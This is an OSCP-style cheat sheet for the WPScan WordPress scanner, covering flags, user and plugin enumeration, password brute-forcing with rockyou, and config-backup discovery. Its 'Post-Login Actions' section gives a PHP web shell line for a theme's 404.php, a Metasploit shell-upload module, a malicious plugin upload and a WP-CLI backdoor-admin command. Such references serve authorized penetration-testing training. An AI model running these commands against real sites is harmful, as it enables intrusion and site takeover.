WPScan — WordPress Scanner Reference
What is WPScan?
WPScan is a black-box WordPress security scanner written in Ruby. It enumerates WordPress installations for users, plugins, themes, config files, and known vulnerabilities — and can brute-force login credentials. Uses the WPVulnDB vulnerability database.
OSCP use: Whenever you find a WordPress site, run WPScan immediately. User enumeration alone often gives you a username to brute-force, and outdated plugins are a very common foothold path.
Not sure it’s WordPress? Run CMSeeK - cmseek first — it detects 180+ CMSs (WP, Joomla, Drupal, etc.) before you commit to WPScan.
Install (Kali)
sudo apt update && sudo apt install -y wpscanVerify: wpscan --version
Full install index → Installation - Kali Setup
Syntax
wpscan [options] --url <target>📌 1) All Flags
Target
| Flag | Description |
|---|---|
--url <url> | Target WordPress URL (required) |
--url-split <N> | Split base URL at the Nth / (for multi-site installs) |
Enumeration
| Flag | Description |
|---|---|
-e, --enumerate [opts] | What to enumerate (see modes below) |
--plugins-detection <mode> | Plugin detection mode: passive, aggressive, mixed (default: passive) |
--plugins-version-detection <mode> | Plugin version detection: passive, aggressive, mixed |
--themes-detection <mode> | Theme detection mode: passive, aggressive, mixed |
--themes-version-detection <mode> | Theme version detection |
--exclude-content-based <regexp> | Exclude responses matching this regex from detection |
Authentication
| Flag | Description |
|---|---|
--username <user> | Single username for brute-force |
--usernames <file> | File of usernames for brute-force |
-U <user/file> | Shorthand for username(s) |
--password <pass> | Single password |
--passwords <file> | Password wordlist file |
-P <pass/file> | Shorthand for password(s) |
--login-uri <path> | Custom login page path (default: /wp-login.php) |
--http-auth <user:pass> | HTTP Basic Auth credentials |
--cookie <cookie> | Set a cookie value (for authenticated scans) |
--wp-content-dir <dir> | Manually set wp-content directory if non-standard |
--wp-plugins-dir <dir> | Manually set plugins directory |
HTTP Options
| Flag | Description |
|---|---|
--random-user-agent | Use a random User-Agent for each request |
--user-agent <string> | Custom User-Agent string |
--proxy <url> | Proxy URL (e.g. http://127.0.0.1:8080) |
--proxy-auth <user:pass> | Proxy authentication |
--cookie-string <string> | Cookie header value |
--headers <headers> | Custom HTTP headers |
--disable-tls-checks | Ignore TLS/SSL certificate errors |
--max-threads <N> | Max concurrent HTTP requests (default: 5) |
-t <N> | Shorthand for --max-threads |
--request-timeout <sec> | HTTP request timeout (default: 60) |
--connect-timeout <sec> | Connection timeout (default: 30) |
--throttle <ms> | Wait N milliseconds between each request |
--cache-ttl <sec> | Cache TTL in seconds (default: 600) |
--ignore-main-redirect | Ignore main URL redirect |
--force | Force scan even if not identified as WordPress |
API / Database
| Flag | Description |
|---|---|
--api-token <token> | WPVulnDB API token (free registration — more vuln data) |
Output
| Flag | Description |
|---|---|
-o, --output <file> | Save output to file |
-f, --format <format> | Output format: cli, cli-no-colour, json, cli-no-colour |
--no-banner | Suppress the WPScan banner |
-v, --verbose | Verbose output |
--no-update | Skip database update check |
--update | Update WPScan and the vulnerability database |
📌 2) Enumeration Modes (-e)
Pass one or more comma-separated values to --enumerate / -e:
| Value | What it enumerates |
|---|---|
vp | Vulnerable plugins |
ap | All plugins |
p | Plugins (passive detection only) |
vt | Vulnerable themes |
at | All themes |
t | Themes (passive detection only) |
tt | Timthumbs (old thumbnail vulnerabilities) |
cb | Config backups (wp-config.php.bak, etc.) |
dbe | Database exports (.sql files in web root) |
u | Users (default: IDs 1–10) |
u[1-50] | Users with IDs in range 1–50 |
m | Media (attachment IDs) |
m[1-100] | Media with IDs in range 1–100 |
Combining modes
# Most useful combination for OSCP
wpscan --url http://TARGET -e u,vp,vt,cb,dbe
# Everything
wpscan --url http://TARGET -e ap,at,tt,cb,dbe,u[1-100]
# Just users
wpscan --url http://TARGET -e u
# Just vulnerable plugins
wpscan --url http://TARGET -e vp📌 3) Basic Scanning
Default scan (passive, no auth)
wpscan --url http://TARGET
wpscan --url http://TARGET/wordpress/Aggressive detection (more requests, more results)
wpscan --url http://TARGET --plugins-detection aggressive --themes-detection aggressiveNon-standard wp-content path (plugins under subfolder)
When WordPress lives under a deep path (e.g. /assets/fonts/blog/) — force scan + aggressive plugin enum:
wpscan --url http://192.168.185.217/assets/fonts/blog/ \
--enumerate p \
--plugins-detection aggressive \
--force \
--no-update| Flag | Why |
|---|---|
--enumerate p | Enumerate all plugins |
--plugins-detection aggressive | More requests — finds hidden/outdated plugins |
--force | Scan even if WP fingerprint is weak |
--no-update | Skip DB update — faster on exam / offline |
Full enumeration — everything
wpscan --url http://TARGET -e ap,at,tt,cb,dbe,u --plugins-detection aggressiveHTTPS with broken cert
wpscan --url https://TARGET --disable-tls-checksWith API token (recommended — unlocks CVE data)
wpscan --url http://TARGET -e vp,vt,u --api-token YOUR_TOKEN_HERERegister free at https://wpscan.com/register to get an API token. Gives you vulnerability details and CVE numbers for plugins/themes.
📌 4) User Enumeration
WordPress leaks usernames through the author parameter and REST API by default:
# Basic user enum (IDs 1–10)
wpscan --url http://TARGET -e u
# Wider range (catch all users on large installs)
wpscan --url http://TARGET -e u[1-100]
# The authors REST endpoint (manual check)
curl http://TARGET/wp-json/wp/v2/users
curl http://TARGET/?author=1 # Redirects to /author/username/
curl http://TARGET/?author=2Sample output
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Login Error Messages (Aggressive Detection)
[+] bob
| Found By: Rss Generator (Passive Detection)
Take every username found and feed into the password attack.
📌 5) Password Brute-Force
# Single user + wordlist
wpscan --url http://TARGET -U admin -P /usr/share/wordlists/rockyou.txt
# User list + wordlist
wpscan --url http://TARGET -U users.txt -P /usr/share/wordlists/rockyou.txt
# With threads for speed (careful — may trigger rate limiting)
wpscan --url http://TARGET -U admin -P rockyou.txt -t 20
# Single user + single password (test known cred)
wpscan --url http://TARGET -U admin -P password123
# With throttle (slow down to avoid WAF/lockout)
wpscan --url http://TARGET -U admin -P rockyou.txt --throttle 500Tip: Always enumerate users first (
-e u), then brute-force with the discovered usernames rather than guessing.
📌 6) Plugin Enumeration
# Vulnerable plugins only (fast)
wpscan --url http://TARGET -e vp
# All plugins — passive
wpscan --url http://TARGET -e ap
# All plugins — aggressive (checks all known plugin paths)
wpscan --url http://TARGET -e ap --plugins-detection aggressive
# Get plugin versions aggressively
wpscan --url http://TARGET -e ap --plugins-detection aggressive --plugins-version-detection aggressiveSample output
[+] akismet
| Location: http://TARGET/wp-content/plugins/akismet/
| Latest Version: 5.3.3
| Last Updated: 2024-01-01
[+] contact-form-7
| Location: http://TARGET/wp-content/plugins/contact-form-7/
| Version: 5.1.1 (Insecure, released 2020-12-01)
|
| Found By: Readme File (Aggressive Detection)
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: Contact Form 7 < 5.3.2 - Unrestricted File Upload
| CVE: CVE-2020-35489
| CVSS: 9.8
| Reference: https://wpscan.com/vulnerability/...
Any
[!]vulnerability should be researched immediately — look up the CVE and search for a public exploit.
📌 7) Theme Enumeration
# Vulnerable themes
wpscan --url http://TARGET -e vt
# All themes — aggressive
wpscan --url http://TARGET -e at --themes-detection aggressive📌 8) Config Backup & DB Export Discovery
Old config backups and database exports left in the web root are a goldmine:
wpscan --url http://TARGET -e cb,dbeFiles it checks for (cb)
wp-config.php.bak
wp-config.php.old
wp-config.php.orig
wp-config.php.save
wp-config.php~
wp-config.php.swp
wp-config.bak
wp-config.txt
Files it checks for (dbe)
wp-content/database.sql
wp-content/backup.sql
wp-content/db.sql
*.sql files in common backup directories
📌 9) Authenticated Scanning
If you have WordPress credentials, pass them to get deeper scan results:
# Use cookie from a logged-in session (get from Burp/browser)
wpscan --url http://TARGET --cookie "wordpress_logged_in_XXXX=value; wordpress_sec_XXXX=value"
# HTTP Basic Auth (for sites with additional auth layer)
wpscan --url http://TARGET --http-auth admin:password📌 10) Routing Through a Proxy (Burp)
# Route through Burp for request inspection
wpscan --url http://TARGET --proxy http://127.0.0.1:8080
# Proxy with auth
wpscan --url http://TARGET --proxy http://127.0.0.1:8080 --proxy-auth user:pass
# Through proxychains (pivot)
proxychains wpscan --url http://TARGET --disable-tls-checks📌 11) Output & Reporting
# Save as plain text
wpscan --url http://TARGET -e u,vp -o wpscan_output.txt
# Save as JSON (structured — good for parsing)
wpscan --url http://TARGET -e u,vp -o wpscan_output.json -f json
# No banner + quiet (clean output for reporting)
wpscan --url http://TARGET -e u,vp --no-banner📌 12) Updating WPScan
Keep the vulnerability database current before each engagement:
wpscan --update
# Force update
gem update wpscan📌 13) Post-Login Actions
Once you have valid WordPress credentials:
# Method 1: Theme editor RCE
# Admin → Appearance → Theme File Editor → 404.php
# Add: <?php system($_GET['cmd']); ?>
# Save → visit http://TARGET/wp-content/themes/THEME/404.php?cmd=id
# Method 2: Plugin upload (Admin required)
# Admin → Plugins → Add New → Upload Plugin
# Upload a malicious ZIP containing a PHP shell
# Method 3: Metasploit
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS TARGET
set USERNAME admin
set PASSWORD password
set TARGETURI /
run
# Method 4: WP-CLI (if accessible on server)
wp --allow-root user create hacker hacker@example.com --role=administrator --user_pass=Password1📌 Common WordPress Files & Paths
# Login page
http://TARGET/wp-login.php
http://TARGET/wp-admin/
# Config file (contains DB credentials)
http://TARGET/wp-config.php # Should return 403 — if not, it's exposed
/var/www/html/wp-config.php # Common path on Linux
# User enumeration
http://TARGET/?author=1
http://TARGET/wp-json/wp/v2/users
# XML-RPC (can be used for brute-force bypass)
http://TARGET/xmlrpc.php
# Readme (reveals exact version)
http://TARGET/readme.html
http://TARGET/wp-admin/about.php
# Uploads directory
http://TARGET/wp-content/uploads/📌 Quick OSCP Cheat Sheet (Copy/Paste)
# Standard first scan
wpscan --url http://TARGET -e u,vp,vt,cb,dbe --plugins-detection aggressive
# Deep path / non-standard wp-content — aggressive plugins
wpscan --url http://TARGET/assets/fonts/blog/ --enumerate p --plugins-detection aggressive --force --no-update
# With API token (recommended)
wpscan --url http://TARGET -e u,vp,vt,cb,dbe --plugins-detection aggressive --api-token TOKEN
# HTTPS with bad cert
wpscan --url https://TARGET -e u,vp,vt,cb,dbe --disable-tls-checks
# Password attack with found usernames
wpscan --url http://TARGET -U admin -P /usr/share/wordlists/rockyou.txt -t 10
# Save output
wpscan --url http://TARGET -e u,vp -o wpscan_TARGET.txt
# After getting admin creds → shell via Metasploit
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS TARGET && set USERNAME admin && set PASSWORD password && run📌 WebSockets — mostly HTTP for WP
WPScan targets WordPress over HTTP/HTTPS — standard login, REST API, and plugin enumeration. It does not test WebSocket frames.
| WordPress surface | Tool |
|---|---|
/wp-login.php, XML-RPC, REST /wp-json/ | WPScan + Hydra |
| Live chat / realtime plugins (rare) | Gobuster / ffuf for plugin paths → Burp Suite WebSockets |
| SQLi in WP | Usually HTTP params → SQLMap; WS-only backends need HTTP bridge (see SQLMap) |
If a plugin exposes /ws or Socket.IO under /wp-content/plugins/PLUGIN/, enumerate the plugin with WPScan first, then manual WS testing in Burp.